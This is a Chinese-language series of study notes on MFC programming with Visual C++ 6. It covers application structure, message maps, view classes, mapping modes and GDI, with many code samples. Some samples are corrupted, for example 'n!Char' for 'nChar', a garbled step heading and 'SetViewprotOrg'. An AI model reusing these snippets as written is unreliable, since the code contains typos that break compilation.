CMyApp theApp;//建立一个CMyAPP对象见下②

BOOL CMyApp::InitInstance ()
{
m_pMainWnd=new CMyFrame();
m_pMainWnd->ShowWindow (m_nCmdShow);
m_pMainWnd->UpdateWindow ();
return TRUE;
}

BEGIN_MESSAGE_MAP(CMyFrame,CFrameWnd)
ON_WM_LBUTTONDOWN()
ON_WM_PAINT()
END_MESSAGE_MAP()

CMyFrame::CMyFrame(){
Create(NULL,"MYAPP Application");
}
void CMyFrame::OnLButtonDown (UINT nFlags,CPoint point)
{
TRACE("Entering CMyFrame::OnLButtonDown - %lx,%d,%d\n",
(long)nFlags,point.x ,point.y);
}

void CMyFrame::OnPaint ()
{
CPaintDC dc(this);
dc.TextOut (0,0,"Hello World!");
}

4、编译运行,报错。为什么呢?原来还没有添加MFC的支持,在Project Setting选项General属性页选择”Use MFC in a Static Library"

5、再Ctrl+F5,哈成功了。

让我们看看这个程序中的一些元素。

①WinMain函数:并非不存在只是已经被隐藏在应用程序框架内部。

②CMyApp类:CMyApp类的对象代表一个应用程序,CWinApp基类决定它的大部分行为。

③应用程序的启动:当开始运行应用程序时WINDOWS会调用WinMain函数,WinMain会查找该应用程序的全局对象theApp。

④CMyApp::InitInstance成员函数:发现theApp后自动调用重载的虚函数InitInstance来完成主窗口的构造和显示工作。记住这个函数。

⑤CWinApp::Run成员函数:WinMain在调用InitInstance之后紧接着调用Run函数,它被隐藏在基类中负责传递应用程序的消息给相映的窗口。(我把它理解为好象SDK的窗口的过程函数不知对不对)

⑥CMyFrame类:此类的对象代表着应用程序的主窗口。它的构造函数调用基类CFrameWnd的Create函数创建具体的窗口结构。

⑦CMyFrame::OnLButtonDown函数:演示消息处理机制,当鼠标坐键被按下这一事件被映射到CMyFrame的OnLButtonDown函数上,如果你选择F5进行编译运行的话可以在调试窗口看到TRACE宏显示的类似下面的信息
Entering CMyFrame::OnLButtonDown - 1,309,119
Entering CMyFrame::OnLButtonDown - 1,408,221

⑧CMyFrame::OnPaint函数:应用程序每次重新绘制窗口都需要调用此函数,将显示"Hello World!"放在这里是因为每次窗口发生变化时保证"Hello World!"被显示,你可以试着将语句:
CPaintDC dc(this);
dc.TextOut (0,0,"Hello World!");

写在别出,例如写在

void CMyFrame::OnLButtonDown (UINT nFlags,CPoint point)
{
TRACE("Entering CMyFrame::OnLButtonDown - %lx,%d,%d\n",
(long)nFlags,point.x ,point.y);
CPaintDC dc(this);
dc.TextOut (0,0,"Hello World!");
}

运行后当点击左键时显示"Hello World!",但当窗口最小化再最大化时"Hello World!"不见了。

⑧关闭应用程序:用户关闭应用程序时会有一系列事件发生。首先CMyFrame对象被删除,然后退出Run,进而退出WinMain,最后删除CMyApp对象。

  通过上面的示例我们看见程序的大部分功能包含在基类CWinApp和CFrameWnd中,我们只写了很少的函数,便可以完成很复杂的功能。所以应用程序框架不仅仅是一种类库,它还定义了应用程序的结构,除了基类外还包括WinMain函数,以及用来支持消息处理、诊断、DLL、等都包含在应用程序框架中。

第三篇:消息映射和视图类

  在写了两篇笔记后有很多朋友给我发信,和我交流一些在学习过程中的问题。但由于我也是一个初学者,对一些问题自己也没有把握,所以实在不敢做答,但我会尽量尽我所能和大家一起研究,谢谢大家的鼓励和信任。

  在开始先补充一下上一篇的内容“内容窗口的创建”,兼答天歌网友的问题(如果天歌兄弟能看到的话 )。为了简化我们看一个更简单代码,只有一个文件,创建一个空白的窗口,什么也不做。注意哦:真写程序时还是要分成.h和.cpp两个文件比较清晰。
  前几步和『VC++技术内幕』学习笔记(2)中的一样,下面是代码:

//**********************************
// MyApp.cpp

#include "afxwin.h" //afxwin.h会调用windows.h是MFC编程的途径,只要用到MFC就一定要包含它。

class CMyApp:public CWinApp //从CWinApp继承一个类
{
public:
virtual BOOL InitInstance();//重载InitInstance虚函数
};

class CMyFrame:public CFrameWnd //从CFrameWnd继承一个类
{};


CMyApp myApp; //最后又激活应用程序的构造函数

BOOL CMyApp::InitInstance ()
{
m_pMainWnd=new CMyFrame;
//new 激活了CMyFrame类构造函数CFrameWnd(),构造函数调又用CREATE()
//m_pMainWnd在MFC的定义CWnd* m_pMainWnd;// main window (usually same AfxGetApp()->m_pMainWnd)
//m_pMainWnd保存窗口的位置
((CMyFrame * )m_pMainWnd)->Create(NULL,"一个MFC应用程序:空白窗口"); //创建窗口
m_pMainWnd->ShowWindow(m_nCmdShow); //显示在屏幕上
return TRUE;
}

  如果还不明白建议查看MSDN或看看侯大师的深入浅出。关于这个问题就说到这,最后对天歌朋友的学习态度表示敬意。
下面进入正体,让我们继续来看看MFC的消息映射。

  MFC是通过一些宏来将特定的消息影射到派生类相应的成员函数上,这种体制的好处是允许某些非窗口类(如文档类)来控制命令消息。且不需要C++作任何扩展。
  MFC的消息控制函数要求提供函数原形、函数体以及消息映射中的入口。真的很麻烦,还好用Class Wizard可以很容易的将上面说到的东西加到我们的类中。例如只要在Class Wizard中添加WM_LBUTTONDOWN消息,则相应的代码便加在合适的地方。怎么样简单多了吧。
  应用程序除了包含应用程序框架类外,一般还要包含文档和视图类。这种文档-视图结构是应用框架的核心。我一直做MIS开发,当然不是用VC用的是VB,所以看到这我很不自觉的想到了后台数据库和界面的关系,这个例子可能不是很恰当,但却能很好的帮助我们理解文档和视图。文档好比后台的数据库,视图就是界面上显示的内容,同一个数据库可以用不同的界面显示,但由于所有的界面内容都是从数据库中数据得来,所以当数据库发生变化时所有的相关界面显示都会跟着改变。越来越觉得不恰当,不过实在想不出别的例子了。我们的应用程序实际上就是通过视图对文档进行一系列操作,不单指输出。下面我们看看视图类。
  视图是一个从CView类派生的类的对象,在屏幕上显示的窗口就是一种。对象的行为完全由类的成员函数和数据成员决定,其中及包括派生类中的特定函数,也包括基类的标准函数,所以了解MFC类库的结构以及各类的标准成员函数是多么重要啊,别怕麻烦找来MFC的源码读读,看多少算多少,但肯定不白看,这是雷神的经验。

记得上一篇的我的例子吗

1、打开VC++6从菜单选择NEW,给项目命名为”MyApp01“。
2、选择MFC AppWizard[exe] 选项,除STEP 1选择单文档外其他STEP缺省。
此时MFC应用程序框架便帮我们完成了应用程序,你可以执行它,它会在屏幕上显示一个典型的WINDOWS风格的空白窗口。

我们来看一下项目程序所在目录下的文件:

myapp01.dsp //项目文件
myapp01.dsw //工作空间文件
myapp01.rc //资源描述文件
myapp01View.cpp //包含CMyAppView类成员函数的视图类实现文件 重点
myapp01View.h //包含CMyAppView类成员函数的视图类头文件 重点
myapp01.opt //二进制文件,告诉Developer Studio本项目的哪些文件是打开的,又是如何排列的
readme.txt //用来解释所产生的所有文件,未列出的myapp01Doc.cpp、myapp01Doc.h、StdAfx.cpp、StdAfx.h....在这里都可以找到相应解释。
resource.h //包含#define常量定义的头文件

  仔细研究一下myapp01View.cpp和myapp01View.h文件,程序核心CMyAppView类在这两个文件中定义,就是我们今天要学的视图类。要想看到CMyAppView类的全貌,应该用Source Browser查看,选择CMyApp01View,按Alt+F12,选择Base Class and Members 选项。我们会看到CMyAppView类的层次关系(从哪来得),以及所有成员函数,包括从基类继承的(在Class View中不能显示父类的成员函数)。我们发现实际上你什么也不用做就拥有了一个有着强大功能的类。
下面我们看一下CMyAppView类的OnDraw成员函数,它是虚函数作用是每当窗口需重绘时应用程序框架会调用它。它的原型是这样的(在myapp01View.h可以找到)

virtual void OnDraw(CDC* pDC); // overridden to draw this view

  参数是CDC类的指针,WINDOWS是通过和窗口相关联的设备环境(CDC类的对象就是设备环境)和显示硬件进行通讯。有了这个指针我们便可以调用CDC类的成员函数来完成各种绘制工作,如上一篇用到的textout()还有一些Ellipse()、Polygon()、BitBlt()等等在MSDN中有好长的一篇,它是直接从CObject派生的,好了我们开始在OnDraw()里添加一些绘图工作。

3、在Class View选择CMyApp01View类的OnDraw()成员函数双击会在C++编译器看到以下内容

void CMyApp01View::OnDraw(CDC* pDC)
{
CMyApp01Doc* pDoc = GetDocument();
ASSERT_VALID(pDoc);
// TODO: add draw code for native data here
}
在 // TODO: add draw code for native data here的位置增加一行代码
void CMyApp01View::OnDraw(CDC* pDC)
{
CMyApp01Doc* pDoc = GetDocument();
ASSERT_VALID(pDoc);
pDC->TextOut(10,10,"雷神愿意和所有学VC的朋友共同进步!");
pDC->SelectStockObject (DKGRAY_BRUSH); //选择刷子
pDC->Ellipse (CRect(20,40,120,140)); //画圆,CRect是MFC库提供的一个表示WINDOWS矩形类
pDC->Rectangle (CRect(220,240,120,140)); //画矩形
// TODO: add draw code for native data here
}

编译运行,成功了吧。先到这吧。另外以后的文章将同时贴在写作区。

第四篇:资源和编译

  资源文件(就是以应用程序名和扩展名是.rc的文件)很大程度上决定了应用程序的用户界面。在VC++中资源文件包括以下内容:

Accelerator //模拟菜单和工具栏的选择内容
Dialog //对话框的布局及内容
Icon //图标有两种一种是16X16一种是32X32。
Menu //应用程序的主菜单及所属的弹出式菜单
String table //字符串不属于C++源代码部分
Toolbar //工具条。
Version //程序的描述、版本号、支持语言信息。

以上信息都在.rc文件中包含,同时.rc文件还包含了以下语句:

#include "afxres.h"
#include "afxres.rc"

  它们的作用是把适合于所有应用程序的一些通用MFC库资源包含进来。

  关于资源编辑器的使用就不多说了,因为它的操作很简单,需要注意的是虽然resource.h是一个ASCII码文件可以用文本编辑器进行编辑,单如果使用文本编辑器进行编辑的话,下次再使用资源编辑器时所做的修改有可能丢失,所以我们应该在尽量在资源编辑器中编辑应用程序的资源,新增的资源内容回自动的添加在我们的程序相应位置,例如resource.h而不用我们操心。这便是为什么称为Visual (可视)的原因之一。

  编译在VC++中有两种模式,一种是Release Build另一种是Debug Build。它们之间的区别在于,Release Build不对源代码进行调试,不考虑MFC的诊断宏,使用的是MFC Release库,编译十对应用程序的速度进行优化,而Debug Build则正好相反,它允许对源代码进行调试,可以定义和使用MFC的诊断宏,采用MFC Debug库,对速度没有优化。所以我们应该在Debug模式下开发应用程序,然后在Release模式下发布应用程序。在我们的工程文件夹下会有一个Debug文件夹和一个Release文件夹分别存放输出文件和中间文件。

  诊断宏是我们编译程序时检测程序状态的有利工具,例如上两篇用到的TRACE宏,可以在Debug窗口获得你需要的诊断信息,而不用设置对话框之类的方法,在发布时Release会自动滤掉此信息。

  实际上对一个应用程序的调式是一件很具挑战的工作,我相信我们都有类似的经历,从网上或书本上找来了一段代码或源程序,当我们一点点将他们敲进 Deleloper Studio后进行编译时一下子出现了无数的错误和警告,(有些书的源代码就是错误的)这是需要的耐心和经验,有了VC++提供的调试工具如诊断宏、设断点、单步执行等等,会让我们省不少力气。至于编译的话题其实应该有很多可以说,但由于雷神本身的经验不足只能把书上所讲的作一个总结,大家应该熟练的掌握VC++为我们提供的的各种调试工具,象SPY之类的工具在MSDN中也有很详细的使用帮助说明,到现在我体会到了高手们所说的MSDN是最好的最全的也是最权威的。

第五篇:基本事件处理

  我们已经知道MFC库应用程序框架调用CView视图类的虚函数OnDraw来完成屏幕显示。其实CView和CWnd类包含了几百个成员函数,在MSDN中可以看到这些成员函数,其中有许多On开头的,例如第二篇的例子就有一个OnLButtonDown,它们都是应用程序框架响应各种事件所需调用的函数。
  OnDraw便是当窗口发生变化是被调用的,OnLButtonDown是鼠标左键被按下时调用,还有OnKeyDown是键盘被按下时调用等等。

  当用户在视窗中按下鼠标左键时,Windows会自动发送WM_LBUTTONDOWN消息给该视窗,当然你可以什么都不做象我们第3篇的例子一样,如果你想要让程序对此消息做出反应就必须在视图类给出相应的函数,类似下面这样:

void CMyView::OnLButtonDown(UINT nFlags,CPoint point)
{
//做些事情的代码
}

还需要在类头文件包含相应的函数原型说明

afx_msg void OnLButtonDown(UINT nFlags,CPoint point);

afx_msg只是说明该函数原型是针对消息映射函数。下一步在代码文件中还需要有一个消息映射宏,作用是把OnLButtonDown函数和应用程序框架联系在一起。

BEGIN_MESSAGE_MAP(CMyView,CView)
ON_WM_LBUTTONDOWN
END_MESSAGE_MAP()

最后在类库的头文件还需包含:

DECLARE_MESSAGE_MAP()

  函数和Windows消息的对应关系可以从MSDN中找到在MSDN中索引输入(WM_ Messages)便会列出所有的Windows消息和消息控制函数原型。在实际的编程过程中我们不可能全部都用手工的添加或编制消息控制函数。除了一些特殊的,我们一般是借助Class Wizard来自动编制消息映射函数。这又是MFC应用程序框架比起SDK来的有一个便捷的地方。

第六篇:映射模式

  在此篇之前我们已经学会了在窗口显示图形,更准确的说是在窗口指定位置显示图形或文字,我们使用的坐标单位是象素,称之为设备坐标。看下面语句:

pDC->Rectangle(CRect(0,0,200,200));

  画一个高和宽均为200个象素的方块,因为采用的是默认的MM_TEXT映射模式,所以在设备环境不一样时,画的方块大小也不一样,在1024*768的显示器上看到的方块会比640*480的显示器上的小(在不同分辨率下的屏幕象素,在WINDOWS程序设计一书中有示例程序可以获得,或者可以用GetClientRect函数获得客户区的矩形大小。在这里就不说了,大家只要知道就行了),在输出到打印机时也会有类似的情况发生。如何做才能保证在不同设备上得到大小一致的方块或者图形、文字呢?就需要我们进行选择模式映射,来转换设备坐标和逻辑坐标。

Windows提供了以下几种映射模式:

MM_TEXT
MM_LOENGLISH
MM_HIENGLISH
MM_LOMETRIC
MM_HIMETRIC
MM_TWIPS
MM_ISOTROPIC
MM_ANISOTROPIC

下面分别讲讲这几种映射模式:

MM_TEXT:

  默认的映射模式,把设备坐标被映射到象素。x值向右方向递增;y值向下方向递增。坐标原点是屏幕左上角(0,0)。但我们可以通过调用CDC的SetViewprotOrg和SetWindowOrg函数来改变坐标原点的位置看下面两个例子:

//************************************************
// 例子6-1
void CMyView::OnDraw(CDC * pDC)
{
pDC->Rectangle(CRect(0,0,200,200));//全部采用默认画一个宽和高为200象素的方块
}

//**************************************************
// 例子6-2
void CMyView::OnDraw(CDC * pDC)
{
pDC->SetMapMode(MM_TEXT);//设定映射模式为MM_TEXT
pDC->SetWindowOrg(CPoint(100,100));//设定逻辑坐标原点为(100,100)
pDC->Rectangle(CRect(100,100,300,300));//画一个宽和高为200象素的方块
}

  这两个例子显示出来的图形是一样的,都是从屏幕左上角开始的宽和高为200象素的方块,可以看出例子2将逻辑坐标(100,100)映射到了设备坐标(0,0)处,这样做有什么用?滚动窗口使用的就是这种变换。

固定比例映射模式:

MM_LOENGLISH、MM_HIENGLISH、MM_LOMETRIC、MM_HIMETRIC、MM_TWIPS这一组是Windows提供的重要的固定比例映射模式。

它们都是x值向右方向递增,y值向下递减,并且无法改变。它们之间的区别在于比例因子见下:(我想书上P53页肯定是印错了,因为通过程序实验x值向右方向也是递增的)

MM_LOENGLISH 0.01英寸
MM_HIENGLISH 0.001英寸
MM_LOMETRIC 0.1mm
MM_HIMETRIC 0.01mm
MM_TWIPS 1/1440英寸 //应用于打印机,一个twip相当于1/20磅,一磅又相当于1/72英寸。

看例3

//**************************************************
// 例子6-3
void CMyView::OnDraw(CDC * pDC)
{
pDC->SetMapMode(MM_HIMETRIC);//设定映射模式为MM_HIMETRIC
pDC->Rectangle(CRect(0,0,4000,-4000));//画一个宽和高为4厘米的方块
}

  还有一种是可变比例映射模式,MM_ISOTROPIC、MM_ANISOTROPIC。用这种映射模式可以做到当窗口大小发生变化时图形的大小也会相应的发生改变,同样当翻转某个轴的伸展方向时图象也会以另外一个轴为轴心进行翻转,并且我们还可以定义任意的比例因子,怎么样很有用吧。
MM_ISOTROPIC、MM_ANISOTROPIC两种映射模式的区别在于MM_ISOTROPIC模式下无论比例因子如何变化纵横比是1:1而M_ANISOTROPIC模式则可以纵横比独立变化。

让我们看例子4

//**************************************************
// 例子6-4
void CMy002View::OnDraw(CDC* pDC)
{
CRect rectClient; //
GetClientRect(rectClient);//返回客户区矩形的大小
pDC->SetMapMode(MM_ANISOTROPIC);//设定映射模式为MM_ANISOTROPIC
pDC->SetWindowExt(1000,1000);
pDC->SetViewportExt (rectClient.right ,-rectClient.bottom );
//用SetWindowExt和SetViewportExt函数设定窗口为1000逻辑单位高和1000逻辑单位宽
pDC->SetViewportOrg(rectClient.right/2,rectClient.bottom/2 );//设定逻辑坐标原点为窗口中心
pDC->Ellipse(CRect(-500,-500,500,500));//画一个撑满窗口的椭圆。
// TODO: add draw code for native data here
}

怎么样,屏幕上有一个能跟随窗口大小改变而改变的椭圆。把 pDC->SetMapMode(MM_ANISOTROPIC);这句改为pDC->SetMapMode(MM_ISOTROPIC)会怎样?大家可以试试。那还有一个问题就是上例的比例因子是多少呢?看下面公式(注意是以例子4为例的)

x比例因子=rectClient.right/1000 //视窗的宽除以窗口范围
y比例因子=-rectClient.bottom/1000 //视窗的高除以窗口范围

  从Windows的鼠标消息可以获得鼠标指针的当前坐标值(point.x和point.y)此坐标值是设备坐标。

很多MFC库函数尤其是CRect的成员函数只能工作在设备坐标下。
还有我们有时需要利用物理坐标,物理坐标的概念就是现实世界的实际尺寸。
设备坐标-逻辑坐标-物理坐标之间如何进行转换便成为我们要考虑的一个问题,物理坐标和逻辑坐标是完全要我们自己来做的,但WINDOWS提供了函数来帮助我们转换逻辑坐标和设备坐标。

CDC的LPtoDP函数可以将逻辑坐标转换成设备坐标
CDC的DPtoLP函数可以将设备坐标转换成逻辑坐标

下面列出我们应该在什么时候使用什么样的坐标系一定要记住:

◎CDC的所有成员函数都以逻辑坐标为参数
◎CWnd的所有成员函数都以设备坐标为参数
◎区域的定义采用设备坐标
◎所有的选中测试操作应考虑使用设备坐标。
◎需要长时间使用的值用逻辑坐标或物理坐标来保存。因设备坐标会因窗口的滚动变化而改变。
用书上的例子作为以前几篇的复习,如果你能够独立完成它说明前面的内容已经掌握。另外有些东西是新的,我会比较详细的做出说明,例如客户区、滚动窗口等。

下面我们来一步步完成例子6-5:

■第徊剑河肁ppWizard创建MyApp6。除了Setp 1 选择单文档视图和Setp 6 选择基类为CScrollView外其余均为确省。

■第二步:在CMyApp6View类中增加m_rectEllipse和m_nColor两个私有数据成员。你可以手工在myapp6View.h添加,不过雷神建议这样做,在ClassView中选中CMyApp6View类,击右键选择Add Member Variable插入它们。

//**************************
// myapp6View.h
private:
int m_nColor; //存放椭圆颜色值
CRect m_rectEllipse; //存放椭圆外接矩形

//***************************************************

问题1:CRect是什么?
CRect是类,是从RECT结构派生的,和它类似的还有从POINT结构派生的CPoint、从SIZE派生的CSize。因此它们继承了结构中定义的公有整数数据成员,并且由于三个类的一些操作符被重载所以可以直接在三个类之间进行类的运算。
//重载operator +
CRect operator +( POINT point ) const;
CRect operator +( LPCRECT lpRect ) const;
CRect operator +( SIZE size ) const;
//重载operator -
CRect operator -( POINT point ) const;
CRect operator -( SIZE size ) const;
CRect operator -( LPCRECT lpRect ) const;
......
更多的请在MSDN中查看

■第三步:修改由AppWizard生成的OnIntitalUpdate函数

void CMyApp6View::OnInitialUpdate()
{
CScrollView::OnInitialUpdate();
CSize sizeTotal(20000,30000);
CSize sizePage(sizeTotal.cx /2,sizeTotal.cy /2);
CSize sizeLine(sizeTotal.cx /50,sizeTotal.cy/50);
SetScrollSizes(MM_HIMETRIC,sizeTotal,sizePage,sizeLine);//设置滚动视图的逻辑尺寸和映射模式
}

问题2:关于void CMyApp6View::OnInitialUpdate()

函数OnInitialUpdate()是一个非常重要的虚函数,在视图窗口完全建立后框架用的第一个函数,框架在第一次调用OnDraw前会调用它。因此这个函数是设置滚动视图的逻辑尺寸和映射模式的最佳地点。

■第四步:编辑CMyApp6View构造函数和OnDraw函数

//*********************************************
// CMyApp6View构造函数
//
CMyApp6View::CMyApp6View():m_rectEllipse(0,0,4000,-4000)//椭圆矩形为4*4厘米。
{
m_nColor=GRAY_BRUSH;//设定刷子颜色
}

//*********************************************
// CMyApp6View的OnDraw函数
//
void CMyApp6View::OnDraw(CDC* pDC)
{
pDC->SelectStockObject (m_nColor);
pDC->Ellipse(m_rectEllipse);
}

问题3:

CMyApp6View::CMyApp6View():m_rectEllipse(0,0,4000,-4000)为什么不能这样写:
CMyApp6View::CMyApp6View()
{
m_rectEllipse(0,0,4000,-4000);
m_nColor=GRAY_BRUSH;
}

我从CSDN上得到的答案:两者实际上没有区别。有两个原因使得我们选择第一种语法,它被称为成员初始化列表:

一个原因是必须的,另一个只是出于效率考虑。
  让我们先看一下第一个原因——必要性。设想你有一个类成员,它本身是一个类或者结构,而且只有一个带一个参数的构造函数。

class CMember {
public:
  CMember(int x) { ... }
};

  因为Cmember有一个显式声明的构造函数, 编译器不产生一个缺省构造函数(不带参数),所以没有一个整数就无法创建Cmember的一个实例。

CMember* pm = new CMember(2);   // OK
  如果Cmember是另一个类的成员, 你怎样初始化它呢?你必须使用成员初始化列表。
class CMyClass {
  CMember m_member;
public:
  CMyClass();
};
//必须使用成员初始化列表
CMyClass::CMyClass() : m_member(2)
{
}

  没有其它办法将参数传递给m_member,如果成员是一个常量对象或者引用也是一样。根据C++的规则,常量对象和引用不能被赋值, 它们只能被初始化。
  第二个原因是出于效率考虑,当成员类具有一个缺省的构造函数和一个赋值操作符时。MFC的Cstring提供了一个完美的例子。假定你有一个类CmyClass具有一个Cstring类型成员m_str,你想把它初始化为"yada yada."。你有两种选择:

CMyClass::CMyClass() {
  // 使用赋值操作符
  // CString::operator=(LPCTSTR);
  m_str = _T("yada yada");
}
//使用类成员列表
// and constructor CString::CString(LPCTSTR)
CMyClass::CMyClass() : m_str(_T("yada yada"))
{
}

  在它们之间有什么不同吗?是的。编译器总是确保所有成员对象在构造函数体执行之前初始化,因此在第一个例子中编译的代码将调用CString::Cstring来初始化m_str,这在控制到达赋值语句前完成。在第二个例子中编译器产生一个对CString:: CString(LPCTSTR)的调用并将"yada yada" 传递给这个函数。结果是在第一个例子中调用了两个Cstring函数(构造函数和赋值操作符),而在第二个例子中只调用了一个函数。在Cstring的例子里这是无所谓的,因为缺省构造函数是内联的,Cstring只是在需要时为字符串分配内存(即,当你实际赋值时)。但是,一般而言,重复的函数调用是浪费资源的,尤其是当构造函数和赋值操作符分配内存的时候。在一些大的类里面,你可能拥有一个构造函数和一个赋值操作符都要调用同一个负责分配大量内存空间的Init函数。在这种情况下,你必须使用初始化列表,以避免不要的分配两次内存。在内部类型如ints或者longs或者其它没有构造函数的类型下,在初始化列表和在构造函数体内赋值这两种方法没有性能上的差别。不管用那一种方法,都只会有一次赋值发生。有些程序员说你应该总是用初始化列表以保持良好习惯,但我从没有发现根据需要在这两种方法之间转换有什么困难。在编程风格上,我倾向于在主体中使用赋值,因为有更多的空间用来格式化和添加注释,你可以写出这样的语句:x=y=z=0; 或者memset(this,0,sizeof(this)); 注意第二个片断绝对是非面向对象的。

  当我考虑初始化列表的问题时,有一个奇怪的特性我应该警告你,它是关于 C++初始化类成员的,它们是按照声明的顺序初始化的,而不是按照出现在初始化列表中的顺序。

class CMyClass {
  CMyClass(int x, int y);
  int m_x;
  int m_y;
};
CMyClass::CMyClass(int i) : m_y(i), m_x(m_y)
{
}

  你可能以为上面的代码将会首先做m_y=I,然后做m_x=m_y,最后它们有相同的值。但是编译器先初始化m_x,然后是m_y,因为它们是按这样的顺序声明的。结果是m_x将有一个不可预测的值。 我的例子设计来说明这一点,然而这种bug会更加自然的出现。有两种方法避免它, 一个是总是按照你希望它们被初始化的顺序声明成员,第二个是,如果你决定使用初始化列表,总是按照它们声明的顺序罗列这些成员。这将有助于消除混淆。

■第五步:映射WM_LBUTTONDOWN消息并编辑OnLButtonDown消息处理函数。在Class Wizard中选择CMyApp6View类,在Message列表中选择WM_LBUTTONDOWN双击,则此消息映射便完成了。用下面代码替换Wizard生成的OnLButtonDown消息处理函数。

void CMyApp6View::OnLButtonDown(UINT nFlags, CPoint point)
{
CClientDC dc(this);
OnPrepareDC(&dc);
CRect rectDevice = m_rectEllipse;
dc.LPtoDP(rectDevice);
if (rectDevice.PtInRect(point)) {
if (m_nColor == GRAY_BRUSH) {
m_nColor = WHITE_BRUSH;
}
else{
m_nColor = GRAY_BRUSH;
}
InvalidateRect(rectDevice);
}
}

问题4:详解此段代码

第1行 CClientDC由CDC派生,它的对象dc是当前窗口的客户区域
第2行 OnPrepareDC是在OnDraw函数前调用的。
第3行 将m_rectEllipse赋给rectDevice矩形区域
第4行 将矩形区域的逻辑坐标转为设备坐标,LPtoDP是CDC类的成员函数,且是多态的,函数声明如下:

void LPtoDP( LPPOINT lpPoints, int nCount = 1 ) const;
void LPtoDP( LPRECT lpRect ) const;
void LPtoDP( LPSIZE lpSize ) const;

第5-11行 CRect的成员函数PtInRect(point)用来判断鼠标当前位置(point)是否在当前矩形(rectDevice)内
第12行 InvalidateRect函数可以触发WM_PAINT消息,改消息又被映射,引起调用OnDraw调用。

■第六步:映射WM_KEYDOWN消息并编辑OnKeyDown消息处理函数。在Class Wizard中选择CMyApp6View类,在Message列表中选择WM_KEYDOWN双击。用下面代码替换Wizard生成的OnKeyDown消息处理函数。

void CMyApp6View::OnKeyDown(UINT n!Char, UINT nRepCnt, UINT nFlags)
{
switch (n!Char) {
case VK_HOME:
OnVScroll(SB_TOP, 0, NULL);
OnHScroll(SB_LEFT, 0, NULL);
break;
case VK_END:
OnVScroll(SB_BOTTOM, 0, NULL);
OnHScroll(SB_RIGHT, 0, NULL);
break;
case VK_UP:
OnVScroll(SB_LINEUP, 0, NULL);
break;
case VK_DOWN:
OnVScroll(SB_LINEDOWN, 0, NULL);
break;
case VK_PRIOR:
OnVScroll(SB_PAGEUP, 0, NULL);
break;
case VK_NEXT:
OnVScroll(SB_PAGEDOWN, 0, NULL);
break;
case VK_LEFT:
OnHScroll(SB_LINELEFT, 0, NULL);
break;
case VK_RIGHT:
OnHScroll(SB_LINERIGHT, 0, NULL);
break;
default:
break;
}
}

问题5:此段代码详解:

先看OnVScroll和OnHScroll的函数原型
afx_msg void OnVScroll( UINT nSBCode, UINT nPos, CScrollBar* pScrollBar );
afx_msg void OnHScroll( UINT nSBCode, UINT nPos, CScrollBar* pScrollBar );
主要参数 nSBCode是指滚动条移动方向。
再看OnKeyDown函数原型
afx_msg void OnKeyDown( UINT n!Char, UINT nRepCnt, UINT nFlags );
主要参数n!Char是指Virtual Keys code 虚拟键码你可以在winuser.h文件中看到更多,这里只列出很小一部分。

#define VK_ESCAPE 0x1B
#define VK_SPACE 0x20
#define VK_PRIOR 0x21
#define VK_NEXT 0x22
#define VK_END 0x23
#define VK_HOME 0x24
......
/* VK_0 thru VK_9 are the same as ASCII '0' thru '9' (0x30 - 0x39) */
/* VK_A thru VK_Z are the same as ASCII 'A' thru 'Z' (0x41 - 0x5A) */
#define VK_LWIN 0x5B
......

编译运行它,怎么样成功了吧,

■第七步:做一个更复杂的程序,例如屏幕上有多个圆,然后点其中一个,则点中的变色,其他的不变。

第七篇:图形设备接口(GDI)

  我想大家和我一样通过前几天的学习,对VC++MFC应用程序框架的神奇功能有了一些了解,但是还是感觉不能驾御这个强的开发工具,不过别担心,我170多斤体重不是一口吃出来的,是经过了30年不懈的努力才吃成了如此“魁梧”的体形,呵呵开个玩笑。所以学习也一样。学VC尤其如此。还有我发现很多好的技术类书籍有一个共同的特点,就是在前几章学到了一些东西在你正在疑惑或者苦苦领会的时候,接下来的章节便给你解除疑惑。雷神经验:遇到实在想不明白的地方先放下,继续向下读,也许读着读着前面的问题就明白了。『VC++技术内幕』当然属于好的技术书籍一类,所以在本书第五章开始仔细的给我们讲解设备环境类和图形设备接口(GDI),使得我们能守得云开见月明。

设备环境类CDC:

  CDC是设备环境类的基类直接由CObject派生。是GDI的关键元素,它代表了物理设备。每一个C++设备环境对象都有相对应Windows设备环境,并通过一个32位类型的HDC句柄来标识。CDC类的虚拟性使我们可以很容易的做到编写同时适用于多种设备的代码。例如OnDraw函数的pDC->TextOut(0,0,"Hello");既可以适用于显示器、还可以适用于打印预览和打印,只需要在CView::OnDraw函数的pDC参数指向不同的对象类。
CClientDC和CWindowDC是显示设备环境类,都是由CDC派生而来,区别在于CClientDC是窗口的客户区不包括边框、标题栏和菜单栏,(0,0)指客户区域的左上角。CWindowDC的(0,0)指整个屏幕的左上角,这意味着我们可以在显示器的任意地方绘图,包括窗口边框、标题栏和菜单栏等等。CWindowDC一般应用在框架窗口,而不是视图窗口。
CDC对象被创建后一定要在合适的时候将它删除掉,如果忘记了删除设备环境对象则会造成内存丢失。如何做才能避免出现这个问题呢,我们应该在堆栈中构造对象。

看例子7-1

//***************************
// 例子7-1
void CMyView::OnLButtonDown(UINT nFlags,CPoint point)
{
CRect rect;
CClientDC dc(this); //在堆栈中构造设备环境对象,用一个窗口指针this作参数。
dc.GetClipBox(rect); //GetClipBox函数是一个虚函数,作用是可以获得选定区域的尺寸
}
//析构函数在函数返回时自动调用,也就完成对设备环境对象的删除。
书上还给出了另一种写法:
void CMyView::OnLButtonDown(UINT nFlags,CPoint point)
{
CRect rect;
CDC * pDC=GetDC(); //通过调用CWnd的GetDC()函数获得设备环境指针
pDC->GetClipBox(rect); //可以获得选定区域的尺寸
ReleaseDC(pDC); //一定不能忘记,释放设备环境。(书上又写错了)
}

  创建的设备环境对象具有一些默认的特性,通过CDC类的成员函数可以设定这些特性。例如前一篇笔记用到的刷子、映射模式等等。我们还可以通过重载SelectObject函数将GDI对象选进设备环境中。

GDI对象是通过CGdiObject派生类的C++对象来表示的。读着怎么这么别扭?举例说一下。

CBrush是一个GDI的派生类,它在MFC中的层次结构是这样的:CObject派生CGdiObject派生CBrush,明白了吧。CGdiObject是所有GDI对象的抽象基类。下面列出的是GDI派生类的列表:

CBitmap:位图是一种位矩阵,每一个显示象素都对应于其中的一个或多个位,可以用来表示图象,也可以用来创建刷子

CBrush:刷子定义了一种位图形式的象素,可以用来对区域内部填充颜色。

CFont:字体是一种具有某种风格和尺寸的所有字符的完整集合,常常被作为资源,其中一些依赖某种设备。

CPalette:调色板是一种颜色映射接口,它允许应用程序在不影响其他应用程序的前提下,可以充分利用输出设备的颜色描绘能力。

